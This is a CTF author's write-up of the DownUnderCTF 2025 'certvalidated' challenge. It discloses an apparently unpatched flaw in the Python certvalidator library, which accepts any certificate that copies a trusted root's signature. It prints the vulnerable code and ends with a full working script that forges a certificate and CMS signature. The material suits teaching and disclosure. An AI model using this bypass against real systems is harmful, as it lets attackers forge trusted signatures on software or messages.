⬅ HOME
DownUnderCTF 2025 - certvalidated

This is an author writeup of certvalidated from DownUnderCTF 2025. This challenge involved finding and exploiting a 0day vulnerability in the Python X.509 library certvalidator (which appears to be unmaintained, and the author did not respond to an attempted security report).

I had inaccurately rated this challenge's difficulty as medium, as at the end of the CTF there were only two solves.

Challenge Overview

The following files were provided to players:

Dockerfile:

FROM ubuntu:22.04

RUN apt-get update \
    && apt-get install -y wget socat python3-pip swig \
    && rm -r /var/lib/apt/lists/*

RUN pip install endesive==2.18.5

USER 1000
WORKDIR /home/ctf

COPY ./flag.txt /home/ctf/
COPY ./root.crt /home/ctf/
COPY ./certvalidated.py /home/ctf/certvalidated.py

COPY --chmod=755 entrypoint.sh /home/ctf/entrypoint.sh
ENTRYPOINT ["/home/ctf/entrypoint.sh"]

certvalidated.py:

#!/usr/bin/env python3

import base64
from endesive import plain

TO_SIGN = 'just a random hex string: af17a1f2654d3d40f532e314c7347cfaf24af12be4b43c5fc95f9fb98ce74601'
DUCTF_ROOT_CA = open('./root.crt', 'rb').read()

print(f'Sign this! <<{TO_SIGN}>>')
content_info = base64.b64decode(input('Your CMS blob (base64): '))

hashok, signatureok, certok = plain.verify(content_info, TO_SIGN.encode(), [DUCTF_ROOT_CA])

print(f'{hashok = }')
print(f'{signatureok = }')
print(f'{certok = }')

if all([hashok, signatureok, certok]):
    print(open('flag.txt', 'r').read())

entrypoint.sh:

#!/usr/bin/env bash
socat -dd TCP-LISTEN:1337,reuseaddr,fork EXEC:./certvalidated.py

root.crt:

-----BEGIN CERTIFICATE-----
MIIDgzCCAmugAwIBAgIUe6f2tO34vYWqh/bz8BfNUdZpK8gwDQYJKoZIhvcNAQEL
BQAwUTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxFTATBgNVBAoM
DERvd25VbmRlckNURjEWMBQGA1UEAwwNRFVDVEYgUm9vdCBDQTAeFw0yNTA3MDQw
OTU4MTJaFw0yNjA3MDQwOTU4MTJaMFExCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApT
b21lLVN0YXRlMRUwEwYDVQQKDAxEb3duVW5kZXJDVEYxFjAUBgNVBAMMDURVQ1RG
IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY10s/2DsA
/1lfdnCiINf4ZZWguWRsdNo8xKZqm3i0hlWudiTVMlhRh8dBYl0YOA4bx06nL6cO
BT7NEV/wqZUiIcpDgtHAX/+ZWP3p5QM0rmk5nN5b3C8jIpjugjHifmooSCYRBFq9
hKMYdCsogYPwnINMDJ40MCIYsK54FRKV5PBSoC5bEjJ1KidZoGGKcMsbowTz1Rrz
4zZiZP4rJTF+uJGLdagpDB/9fN5xkmoTTCU6g2uoSMr0/BE+rxqdDMM42ecdhedM
mSp1F6yv88gW9vrINEnXUVUVK2EFbN6ljdAK4kPGHCEYKotruuJy66DpYriG1mrX
ZmHS1OZtSCw/AgMBAAGjUzBRMB0GA1UdDgQWBBTQt4qQPkvjMD2aaxDg/BTrl5P/
izAfBgNVHSMEGDAWgBTQt4qQPkvjMD2aaxDg/BTrl5P/izAPBgNVHRMBAf8EBTAD
AQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAMqOr/YShwJA0+GQ/GrRHkclNaamDkGNws
vklbTxMjloMmbMCJW5L0+bgl9c5Rk3Q7fGk8bWZ5mOadr7xQUqjuBHHGoKZ3Y2v/
Q6XSJ8JAnxIR/+HH+zePmHxOXRFEVdVe1uLlIMJWMu0mtPbvzxRHDH0j4t09dgcL
wE+de8+cUIa9E2yD/gnnuHl5L9nHWoZPZDu3KTohRfSYAux3sEZpbAnwPwBh7bic
H5mxH27Bx2SRELIA6NgVi5J3DHbEEUUEVxkgHzu7AoNa8zCgV0s0n/qjmF1U1DND
Zh1EkpMUUAvf1CFRHhlcM3JuqVUoCVuHDtY9fUGHMQbQR7b2dfBo
-----END CERTIFICATE-----

The server prompts the player for a CMS blob, and then uses endesive to verify that it signs the challenge message with a certificate chaining back to the giving root certificate. As of version 2.18.5, endesive used certvalidator for performing the chain validation.

The challenge revolves around Cryptographic Message Syntax (CMS), so reading RFC 5652 is highly recommended. In summary, CMS (as used in the challenge) is a PKI standard used to validate that a message is signed by an entity which is cryptographically tied to some root entity (which has some externally established level of trust). These root entities are typically embedded in software or operating systems and take the form of certificates, which encompass (among other things) a subject name and a public key - the private key of which is held by the corresponding real world entity. Some examples include the Let's Encrypt ISRG Root X1 certificate or Google's GTS Root R1 certificate. These kinds of certificates are responsible for signing intermediary certificates which themselves can sign more intermediary or leaf certificates which may then sign messages to be verified by applications. Verification therefore involves building a chain of certificates going from the leaf certificate all the way to a root certificate within the application or operating system's store of trusted root certificates.

CMS is used everywhere, such as in TLS and verifying software on your favourite mobile operating systems.

Solution

Solving the challenge involves finding a vulnerability in the way CMS validation is performed in the certvalidator library. One such vulnerability is given below.

X.509 certificate path validation bypass in certvalidator

A path validation bypass in certvalidator was found that affects both the release on PyPi and the latest commit on GitHub master branch. The bypass allows any attacker-provided certificate (which is the expected usage) to have a path validated against any root CA even if the certificate was never signed by the root CA. As an example, the following usage (taken from https://github.com/wbond/certvalidator/blob/master/docs/usage.md) is vulnerable, assuming the end_entity_cert is untrusted:

from certvalidator import CertificateValidator, errors


with open('/path/to/cert.crt', 'rb') as f:
    end_entity_cert = f.read()

try:
    validator = CertificateValidator(end_entity_cert)
    validator.validate_usage(set(['digital_signature']))
except (errors.PathValidationError):
    # The certificate could not be validated

Vulnerability Details

The API methods CertificateValidator.validate_tls and CertificateValidator.validate_usage both call an internal method which builds and validates the path.

The paths are built by the CertificateRegistry class which may be populated with either the operating system's list of root CAs, a user-provided list, or both. The CertificateRegistry.build_paths method takes a single end-entity certificate and returns a list of possible certificate paths from any of the trusted CAs to the end-entity certificate (optionally going through intermediate certificates if provided in the registry).

The path building is implemented as follows:

class CertificateRegistry():
    # ...

    def build_paths(self, end_entity_cert):
        """
        Builds a list of ValidationPath objects from a certificate in the
        operating system trust store to the end-entity certificate

        :param end_entity_cert:
            A byte string of a DER or PEM-encoded X.509 certificate, or an
            instance of asn1crypto.x509.Certificate

        :return:
            A list of certvalidator.path.ValidationPath objects that represent
            the possible paths from the end-entity certificate to one of the CA
            certs.
        """

        if not isinstance(end_entity_cert, byte_cls) and not isinstance(end_entity_cert, x509.Certificate):
            raise TypeError(pretty_message(
                '''
                end_entity_cert must be a byte string or an instance of
                asn1crypto.x509.Certificate, not %s
                ''',
                type_name(end_entity_cert)
            ))

        if isinstance(end_entity_cert, byte_cls):
            if pem.detect(end_entity_cert):
                _, _, end_entity_cert = pem.unarmor(end_entity_cert)
            end_entity_cert = x509.Certificate.load(end_entity_cert)

        path = ValidationPath(end_entity_cert)
        paths = []
        failed_paths = []

        self._walk_issuers(path, paths, failed_paths) # [1]

        if len(paths) == 0:
            cert_name = end_entity_cert.subject.human_friendly
            missing_issuer_name = failed_paths[0].first.issuer.human_friendly
            raise PathBuildingError(pretty_message(
                '''
                Unable to build a validation path for the certificate "%s" - no
                issuer matching "%s" was found
                ''',
                cert_name,
                missing_issuer_name
            ))

        return paths

    def _walk_issuers(self, path, paths, failed_paths):
        """
        Recursively looks through the list of known certificates for the issuer
        of the certificate specified, stopping once the certificate in question
        is one contained within the CA certs list

        :param path:
            A ValidationPath object representing the current traversal of
            possible paths

        :param paths:
            A list of completed ValidationPath objects. This is mutated as
            results are found.

        :param failed_paths:
            A list of certvalidator.path.ValidationPath objects that failed due
            to no matching issuer before reaching a certificate from the CA
            certs list
        """

        if path.first.signature in self._ca_lookup: # [2]
            paths.append(path)
            return

        new_branches = 0
        for issuer in self._possible_issuers(path.first):
            try:
                self._walk_issuers(path.copy().prepend(issuer), paths, failed_paths)
                new_branches += 1
            except (DuplicateCertificateError):
                pass

        if not new_branches:
            failed_paths.append(path)

At [1], the build_paths method calls the internal _walk_issuers method to recursively populate the paths variable with possible paths. The path variable is initialised to a ValidationPath consisting of just the end-entity certificate since it is reasonably assumed to be part of any possible path.

Paths built by the _walk_issuers method are such that a certificate's issuer appears just before the certificate itself in the list. As a result, the recursive method terminates at the base case when the first element in the path is a root CA (and therefore presumably self-issued). This base case is handled at [2], where the check is performed is by checking that the signature of the certificate matches any of the root CAs.

This check to determine whether the certificate is a root CA is flawed as the signature does not encompass the entirety of the root CA's tbsCertificate which contains important details about the certificate, including its subject, public key and any extensions. In the main path validation function _validate_path defined in validate.py, no cryptographic verifications are performed as the path contains a single certificate which is assumed to be the (self-signed) trust anchor (comments # ... indicate irrelevant omitted code):

def _validate_path(validation_context, path, end_entity_name_override=None):
    """
    Internal copy of validate_path() that allows overriding the name of the
    end-entity certificate as used in exception messages. This functionality is
    used during chain validation when dealing with indirect CRLs issuer or
    OCSP responder certificates.

    :param validation_context:
        A certvalidator.context.ValidationContext object to use for
        configuring validation behavior

    :param path:
        A certvalidator.path.ValidationPath object of the path to validate

    :param end_entity_name_override:
        A unicode string of the name to use for the final certificate in the
        path. This is necessary when dealing with indirect CRL issuers or
        OCSP responder certificates.

    :return:
        The final certificate in the path - an instance of
        asn1crypto.x509.Certificate
    """

    # ...

    trust_anchor = path.first

    # We skip the trust anchor when measuring the path since technically
    # the trust anchor is not part of the path
    path_length = len(path) - 1

    # ...

    # Step 2: basic processing
    index = 1
    last_index = len(path) - 1

    completed_path = ValidationPath(trust_anchor)
    validation_context.record_validation(trust_anchor, completed_path)

    cert = trust_anchor
    while index <= last_index:
        cert = path[index]

        # perform signature verification on certificates
        # ...

        index += 1

    # ...

    return cert

This results in a scenario where an attacker can provide an end-entity certificate that may bypass path validation (by having its signature field set to that of a trusted root CA), despite never having been signed by the root CA. Additionally, any important details contained within the tbsCertificate which may be consumed by an application (such as the certificate's subject, public key and extensions) can be fully controlled.

Solution Script

So to solve the challenge, we just need to craft a CMS message with the signer's certificate having the same signature as the root certificate:

from pwn import process, remote
from base64 import b64encode
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.x509.oid import NameOID
from asn1crypto import cms, x509 as ax509
import datetime

def create_cert(subject, pubkey=None, issuer=None, issuer_privkey=None):
    one_day = datetime.timedelta(1, 0, 0)
    if type(subject) == str:
        subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, subject)])
    private_key = None
    if pubkey is None:
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
        )
        pubkey = private_key.public_key()

        if issuer is None:
            assert issuer_privkey is None
            issuer_privkey = private_key
            issuer = subject

        if issuer_privkey is None:
            issuer_privkey = private_key

    assert issuer is not None and issuer_privkey is not None

    builder = x509.CertificateBuilder()
    builder = builder.subject_name(subject)
    builder = builder.issuer_name(issuer)
    builder = builder.not_valid_before(datetime.datetime.today() - one_day)
    builder = builder.not_valid_after(datetime.datetime.today() + (one_day * 30))
    builder = builder.serial_number(x509.random_serial_number())
    builder = builder.public_key(pubkey)
    builder = builder.add_extension(x509.KeyUsage(
        digital_signature=True,
        content_commitment=False,
        key_encipherment=False,
        data_encipherment=False,
        key_agreement=False,
        key_cert_sign=False,
        crl_sign=False,
        encipher_only=False,
        decipher_only=False
    ), critical=True)
    certificate = builder.sign(private_key=issuer_privkey, algorithm=hashes.SHA256())
    return certificate, private_key or issuer_privkey


root_crt = x509.load_pem_x509_certificate(open('../publish/root.crt', 'rb').read())
my_crt, my_key = create_cert('my cert', pubkey=None, issuer=root_crt.issuer, issuer_privkey=None)

my_crt_der = my_crt.public_bytes(serialization.Encoding.DER)
root_crt_der = root_crt.public_bytes(serialization.Encoding.DER)

my_crt_kid = cms.Certificate.load(my_crt_der).public_key.sha1

# conn = process(['python3', './chal.py'])
conn = remote('0.0.0.0', 1337)
to_sign = conn.recvline().decode().split('<<')[1].split('>>')[0].encode()

sig = my_key.sign(to_sign, padding.PKCS1v15(), hashes.SHA256())
sd = cms.SignedData({
    'version': 'v1',
    'encap_content_info': {
        'content_type': 'data',
        'content': to_sign
    },
    'digest_algorithms': [
        {
            'algorithm': 'sha256',
            'parameters': None
        }
    ],
    'certificates': [
        cms.CertificateChoices.load(my_crt_der.replace(my_crt.signature, root_crt.signature)),
    ],
    'signer_infos': [
        {
            'version': 'v1',
            'digest_algorithm': {
                'algorithm': 'sha256',
                'parameters': None
            },
            'signature_algorithm': {
                'algorithm': 'sha256_rsa',
                'parameters': None
            },
            'signature': sig,
            'sid': cms.IssuerAndSerialNumber({
                'issuer': ax509.Name.load(my_crt.issuer.public_bytes()),
                'serial_number': my_crt.serial_number
            })
        }
    ]
})
ci = cms.ContentInfo({
    'content_type': 'signed_data',
    'content': sd
})

conn.sendlineafter(b'Your CMS blob (base64): ', b64encode(ci.dump()))
conn.interactive()